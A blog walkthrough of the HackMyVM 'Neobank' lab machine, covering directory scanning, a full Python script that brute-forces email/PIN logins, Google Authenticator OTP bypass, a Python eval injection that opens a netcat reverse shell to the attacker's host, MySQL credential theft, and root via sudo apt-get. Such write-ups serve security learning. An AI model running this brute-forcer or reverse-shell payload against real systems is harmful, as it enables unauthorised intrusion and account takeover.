Windy's little blog

一切生活中的杂七杂八, and I like CTF.

HackMyVm Neobank Walkthrough (python requests, google authentication)

Medium level, machine can be download here.


Nmap scan ports, only 5000 is open.

图片.png


Gobuster scan folders and files with medium dic.

gobuster dir -u http://192.168.56.48:5000 -t 50 -x .php,.html,.txt -w /usr/share/dirbuster/worlists/directory-list-2.3-medium.txt -b 400,403,404,500 --wildcard -o 5000.log

图片.png


Open main page, there is  a login panel, and no more useful message on other pages.

图片.png


Then I asked author for hints. The reason is gobuster may skip some words in mutli thread mode. I generate a new dic from the default medium dic with keywork "email",  gobuster again, and found a new page "/email_list".

cat /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt | grep "email" > email_dic.txt


Open /email_list, get several email address.

图片.png

These should be the "email" account for login panel, then generate a smaller 6  bit number pin dic from rockyou.txt.

grep '\<[0-9]\{6\}\>'  /usr/share/wordlists/rockyou.txt > pins.txt

图片.png


If we try to login with wrong creds, there is no error message, and server respond status code is always 200. So hydra may not be useful here.  After ask the author for hints, I decide to make a small brute force script, and check the cookie from the server response.

#!/usr/bin/python3.8
import requests
import threading
header = {
    "Origin": "http://192.168.56.48:5000",
    "Referer": "http://192.168.56.48:5000",
}
result=dict()   # All email:pin pairs saved here
t_index = 0     # Global thread index
#Thread function, send request and check response
def t_request(account,lines,startpos,endpos):
    global t_index
    t_index = t_index + 1
    l_index = t_index   #l_index is the index of current thread
    total = int(endpos - startpos)
    for i in range(total):
        if result[account] != "":
            print(f"Thread {l_index} exit because other thread find the pin of {account}")
            return
        #Display thread progress.
        #Progress of all threads will be almost the same.
        print(f"{i}/{total}",end="\r")
        postUrl = "http://192.168.56.48:5000/login"
        pwd = lines[startpos+i].strip()
        postData = {
            "email": account,
            "pin":pwd,
        }
        responseRes = requests.post(postUrl, data = postData, headers = header)
        if len(responseRes.cookies) != 0:
            print(f"Thread{l_index} find at loop {i} >>> {account}:{pwd}")
            result[account]=pwd
            return
        i = i + 1
    #Run till the end means this thread can't find the correct pair.
    print(f"Thread {l_index} finished, and not find correct pin.")
if __name__ == "__main__":
    threads = []
    #total thread nums = t_nums * number of emails
    #can't set too big value
    t_nums = 5
    f_emails = open("emails.txt")
    emails=f_emails.readlines()
    f_pins = open("pins.txt")
    pins = f_pins.readlines()
    #initial the dic
    for email in emails:
        result[email.strip()]=""
    count = len(pins)
    tsize = count/t_nums
    #tailsize = count-tsize*t_nums
    for email in emails:
        for i in range(t_nums):
            if i == (t_nums - 1):
                t=threading.Thread(target=t_request,args=(email.strip(),pins,int(i*tsize),int(count-1)))
            else:
                t=threading.Thread(target=t_request,args=(email.strip(),pins,int(i*tsize),int((i+1)*tsize)))
            threads.append(t)
    try:
        for t in threads:
            t.setDaemon(True)
            t.start()
        for t in threads:
            t.join()
        print("Thread all finished")
        for k in result.keys():
            print(f"{k}:{result[k]}")
    except Exception as e:
        print(e)
    finally:
        f_emails.close()
        f_pins.close()
        print("All done!")

After some while, we get several results.

图片.png

Althrough I make the dics as small as possible, and use multi-thread, but the server response speed is still too slow, I can't wait till the end. So I just abort the script.


Next, we login with zeus account, and come to a new page.

图片.png


If we check /qr page now, we can get a QR code image.

图片.png


This QR code is not a normal one, can not be decoded by online tools. In fact, it is google authentication QR. Because the Authentication extension of firefox and chrome both unavailable on my machine, I installed Google Authentication on my phone, and scan the QR, then get a time based password.


(IMPORTANT: the otp is generated with time sync, so we should make the time sync of our machine the same with the target VM. I failed several times, because my machine is in VMware, whose time sync is local TimeZone, but the Neobank VM is in VirtualBox, whose time sync is UTC time.)


Enter the otp code, come to a new page.

图片.png


After some test, I found it's python eval function, so we can get revershell with code below.

__import__( 'os' ).system('nc 192.168.56.100 1234 -e /bin/sh')

图片.png


In /home folder, found user "banker", and there is a mysql_history file.

图片.png


Check port, 3306 is open, so we may log in mysql with banker.

图片.png


In /var/www/html/main.py, we can find the mysql creds of banker.

图片.png


Login mysql, find database "bank".

图片.png


Tow tables in bank.

图片.png


In account table are the credentials of different emails.

图片.png


In system table, we can find a password of banker.

图片.png


We can su to user banker with this password. Sudo -l, banker can run apt-get.

图片.png


From GTFOBins, we can get the way to root.

图片.png


发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

Powered By Z-BlogPHP 1.7.0